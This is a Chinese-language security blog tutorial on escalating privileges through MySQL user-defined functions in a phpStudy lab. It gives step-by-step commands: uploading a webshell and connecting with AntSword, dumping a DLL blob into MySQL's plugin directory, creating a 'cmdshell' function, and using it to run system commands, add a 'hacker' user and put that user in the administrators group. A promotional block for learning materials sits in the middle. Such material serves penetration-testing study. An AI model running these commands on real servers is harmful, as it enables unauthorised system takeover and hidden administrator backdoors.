数据库提权——UDF提权

数据库提权——UDF提权

精选文章moguli202025-03-03 11:12:137A+A-

UDF提权

? UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

? UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

提权条件:

1、MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能

2、掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数

3、拥有可以将udf.dll写入相应目录的权限。

1、环境准备

1)将phpstudy中的服务变为系统服务

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“领取”获取——】

1.网络安全多个方向学习路线

2.全网最全的CTF入门学习资料

3.一线大佬实战经验分享笔记

4.网安大厂面试题合集

5.红蓝对抗实战技术秘籍

6.网络安全基础入门、Linux、web安全、渗透测试方面视频

2)将apache降权为普通用户

3)将apache用户赋予phpstudy目录的读写权限

4)修改mysql配置文件,并重启mysql服务

2、访问网站目录,上传木马文件

3、连接蚁剑

4、打开虚拟终端

5、查看当前用户

6、进入数据库操作

7、查看数据库版本

select version();

8、查看mysql导出路径

show variables like "%plugin%";

9、选择test库,创建一个表

create table my_udf_data(data longblob);

10、插入数据

insert into my_udf_data values(0x4d5a........); //内容过长

11、写入dll文件

select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';

注意:如果没有plugin目录,需自己创建

12、创建自定义函数

create function cmdshell returns string soname "myudf.dll";

13、查看当前用户

select cmdshell('whoami');

14、添加新用户

select cmdshell('net user hacker admin@123 /add');

15、将新用户添加到管理员组

select cmdshell('net localgroup administrators hacker /add');

点击这里复制本文地址 以上内容由莫古技术网整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
qrcode

莫古技术网 © All Rights Reserved.  滇ICP备2024046894号-2